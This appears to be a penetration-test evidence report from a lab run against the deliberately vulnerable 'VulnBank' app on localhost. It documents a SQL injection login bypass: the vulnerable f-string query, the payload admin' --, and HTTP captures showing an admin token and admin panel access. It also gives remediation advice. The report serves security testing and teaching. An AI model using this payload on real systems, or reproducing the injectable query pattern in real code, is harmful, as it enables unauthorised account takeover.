Test case 16 / 26FAIL

SQL Injection - Authentication - Login Bypass

Lab environment — not a production system

Screenshots and raw traffic are not translated; text within them may be in another language.

vuln-bank/Evidence/[FAIL] SQL Injection - Authentication - Login Bypass

01 — Notes

Test notes

Vulnerability

[FAIL] SQL Injection - Authentication - Login Bypass

Description

The /login endpoint builds its SQL query with an f-string that interpolates the raw username and password without parameterization: SELECT * FROM users WHERE username='{username}' AND password='{password}'. An attacker closes the string literal and comments out the rest of the query so the password check is skipped entirely.

Impact

Confidentiality + Integrity (Critical): authentication can be bypassed without knowing the password. The payload admin' -- grants a full administrator session with a JWT carrying is_admin true, opening the admin panel and every administrative function (delete accounts, create new admins, approve loans).

CWE

CWE-89: Improper Neutralization of Special Elements used in an SQL Command

OWASP

A03:2021 - Injection

Scenario

Normal: logging in with one's own valid credentials yields a non-admin token. Exploitation: the username is set to admin' -- with an arbitrary password -> the query becomes SELECT * FROM users WHERE username='admin' -- ' AND password='anything' so the password condition is commented out. Impact: the admin token is used to open the administrative panel.

Endpoint

POST http://127.0.0.1:5001/login

Affected feature

User authentication (web login form and API login)

Remediation

- Use parameterized queries/prepared statements for all database access; never build SQL with f-strings or concatenation. - Store passwords as salted hashes (bcrypt/argon2) and compare hashes instead of matching passwords in the WHERE clause. - Apply a character allow-list to the username input. - Do not return query details or raw user objects in responses.

Proof of concept

1) (Screenshot 1) NORMAL: log in with pentest_attacker's valid credentials -> non-admin token, is_admin false. 2) (Screenshot 2) EXPLOITATION: username admin' -- with password anything -> login succeeds as admin, is_admin true. 3) (Screenshot 3) CIA IMPACT: the injected token is used to access /sup3r_s3cr3t_admin -> HTTP 200, the administrative panel opens.
View source note (English)
Vulnerability:
[FAIL] SQL Injection - Authentication - Login Bypass

Description:
The /login endpoint builds its SQL query with an f-string that interpolates the raw username and password without parameterization: SELECT * FROM users WHERE username='{username}' AND password='{password}'. An attacker closes the string literal and comments out the rest of the query so the password check is skipped entirely.

Impact:
Confidentiality + Integrity (Critical): authentication can be bypassed without knowing the password. The payload admin' --  grants a full administrator session with a JWT carrying is_admin true, opening the admin panel and every administrative function (delete accounts, create new admins, approve loans).

CWE:
CWE-89: Improper Neutralization of Special Elements used in an SQL Command

OWASP:
A03:2021 - Injection

Scenario:
Normal: logging in with one's own valid credentials yields a non-admin token. Exploitation: the username is set to admin' --  with an arbitrary password -> the query becomes SELECT * FROM users WHERE username='admin' -- ' AND password='anything' so the password condition is commented out. Impact: the admin token is used to open the administrative panel.

Endpoint:
POST http://127.0.0.1:5001/login

Affected Feature:
User authentication (web login form and API login)

Remediation:
- Use parameterized queries/prepared statements for all database access; never build SQL with f-strings or concatenation.
- Store passwords as salted hashes (bcrypt/argon2) and compare hashes instead of matching passwords in the WHERE clause.
- Apply a character allow-list to the username input.
- Do not return query details or raw user objects in responses.

POC:
1) (Screenshot 1) NORMAL: log in with pentest_attacker's valid credentials -> non-admin token, is_admin false.
2) (Screenshot 2) EXPLOITATION: username admin' --  with password anything -> login succeeds as admin, is_admin true.
3) (Screenshot 3) CIA IMPACT: the injected token is used to access /sup3r_s3cr3t_admin -> HTTP 200, the administrative panel opens.

02 — Screenshots

Screenshots (3)

01 / 1
02 / 2
03 / 3

03 — Requests and responses

HTTP captures

Some credential values are masked in this public HTML view. This does not mean every sensitive value or linked file has been redacted.

CAPTURE 01 / 1
HTTP request
POST /login HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 59
Content-Type: application/json

{"username": "pentest_attacker", "password": "[REDACTED-LAB-VALUE]"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 503
Set-Cookie: token=[REDACTED-LAB-TOKEN]; HttpOnly; Path=/
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:08 GMT

{
  "accountNumber": "0932191785",
  "debug_info": {
    "account_number": "0932191785",
    "is_admin": false,
    "login_time": "2026-09-30 02:58:08.573428",
    "user_id": 2,
    "username": "pentest_attacker"
  },
  "isAdmin": false,
  "message": "Login successful",
  "status": "success",
  "token": "[REDACTED-LAB-VALUE]"
}
CAPTURE 02 / 2
HTTP request
POST /login HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 50
Content-Type: application/json

{"username": "admin' -- ", "password": "[REDACTED-LAB-VALUE]"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 470
Set-Cookie: token=[REDACTED-LAB-TOKEN]; HttpOnly; Path=/
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:10 GMT

{
  "accountNumber": "ADMIN001",
  "debug_info": {
    "account_number": "ADMIN001",
    "is_admin": true,
    "login_time": "2026-09-30 02:58:10.334952",
    "user_id": 1,
    "username": "admin"
  },
  "isAdmin": true,
  "message": "Login successful",
  "status": "success",
  "token": "[REDACTED-LAB-VALUE]"
}
CAPTURE 03 / 3
HTTP request
GET /sup3r_s3cr3t_admin HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]

HTTP response
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 43060
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:11 GMT

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Admin Panel - VulnBank</title>
    <link rel="icon" type="image/svg+xml" href="/static/favicon.svg">
    <link rel="icon" type="image/svg+xml" href="/static/favicon-16.svg" sizes="16x16">
    <link rel="stylesheet" href="/static/style.css">
    <link rel="stylesheet" href="/static/admin.css">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script>document.documentElement.setAttribute("data-theme", localStorage.getItem("vb-theme") || "light");</script>
</head>
<body>
    <a href="#main-content" class="skip-link">Skip to main content</a>

    <div class="admin-layout">
        <!-- Sidebar -->
        <aside class="admin-sidebar">
            <div class="sidebar-header">
                <div class="sidebar-logo">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <path d="M12 2v20M17 5H9.5a3.5 3.5 0 0 0 0 7h5a3.5 3.5 0 0 1 0 7H6"></path>
                    </svg>
                    <span class="sidebar-logo-text">VulnBank</span>
                    <span class="sidebar-badge">Admin</span>
                </div>
            </div>

            <nav class="sidebar-nav">
                <a href="#overview" class="sidebar-nav-item active" data-section="overview">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <rect x="3" y="3" width="7" height="7"></rect>
                        <rect x="14" y="3" width="7" height="7"></rect>
                        <rect x="14" y="14" width="7" height="7"></rect>
                        <rect x="3" y="14" width="7" height="7"></rect>
                    </svg>
                    <span>Overview</span>
                </a>
                <a href="#users" class="sidebar-nav-item" data-section="users">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <path d="M17 21v-2a4 4 0 0 0-4-4H5a4 4 0 0 0-4 4v2"></path>
                        <circle cx="9" cy="7" r="4"></circle>
                        <path d="M23 21v-2a4 4 0 0 0-3-3.87"></path>
                        <path d="M16 3.13a4 4 0 0 1 0 7.75"></path>
                    </svg>
                    <span>Users</span>
                </a>
                <a href="#loans" class="sidebar-nav-item" data-section="loans">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <rect x="2" y="7" width="20" height="14" rx="2" ry="2"></rect>
                        <path d="M16 21V5a2 2 0 0 0-2-2h-4a2 2 0 0 0-2 2v16"></path>
                    </svg>
                    <span>Loans</span>
                </a>
                <a href="#settings" class="sidebar-nav-item" data-section="settings">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <circle cx="12" cy="12" r="3"></circle>
                        <path d="M19.4 15a1.65 1.65 0 0 0 .33 1.82l.06.06a2 2 0 0 1 0 2.83 2 2 0 0 1-2.83 0l-.06-.06a1.65 1.65 0 0 0-1.82-.33 1.65 1.65 0 0 0-1 1.51V21a2 2 0 0 1-2 2 2 2 0 0 1-2-2v-.09A1.65 1.65 0 0 0-9 19.4a1.65 1.65 0 0 0-1 1.51 1.65 1.65 0 0 0-1.82.33l-.06.06a2 2 0 0 1-2.83 0 2 2 0 0 1 0-2.83l.06-.06a1.65 1.65 0 0 0 .33-1.82 1.65 1.65 0 0 0-1.51-1H3a2 2 0 0 1-2-2 2 2 0 0 1 2-2h.09A1.65 1.65 0 0 0 4.6 9a1.65 1.65 0 0 0 .33-1.82l-.06-.06a2 2 0 0 1 0-2.83 2 2 0 0 1 2.83 0l.06.06a1.65 1.65 0 0 0 1.82.33H9a1.65 1.65 0 0 0 1-1.51V3a2 2 0 0 1 2-2 2 2 0 0 1 2 2v.09a1.65 1.65 0 0 0 1 1.51 1.65 1.65 0 0 0 1.82-.33l.06-.06a2 2 0 0 1 2.83 0 2 2 0 0 1 0 2.83l-.06.06a1.65 1.65 0 0 0-.33 1.82V9a1.65 1.65 0 0 0 1.51 1H21a2 2 0 0 1 2 2 2 2 0 0 1-2 2h-.09a1.65 1.65 0 0 0-1.51 1z"></path>
                    </svg>
                    <span>Settings</span>
                </a>
            </nav>

            <div class="sidebar-footer">
                <a href="/dashboard" class="sidebar-back-link">
                    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <line x1="19" y1="12" x2="5" y2="12"></line>
                        <polyline points="12 19 5 12 12 5"></polyline>
                    </svg>
                    <span>Back to Dashboard</span>
                </a>
                <button class="theme-toggle-sidebar" onclick="toggleTheme()" aria-label="Toggle dark mode">
                    <span class="toggle-icon toggle-icon-sun">☀️</span>
                    <span class="toggle-icon toggle-icon-moon">🌙</span>
                </button>
            </div>
        </aside>

        <!-- Main Content -->
        <main class="admin-main" id="main-content">
            <!-- Top Bar -->
            <header class="admin-topbar">
                <h1 class="admin-page-title">Overview</h1>
                <div class="admin-profile-mini">
                    <span class="admin-name">System Administrator</span>
                    <img src="/static/uploads/admin.png" alt="Admin">
                </div>
            </header>

            <!-- Messages -->
            <div id="message" aria-live="polite"></div>

            <!-- Overview Section -->
            <section class="admin-section" id="overview-section">
                <div class="section-header">
                    <h2>Transaction Analytics</h2>
                    <p class="section-subt

[... 37049 more bytes not shown ...]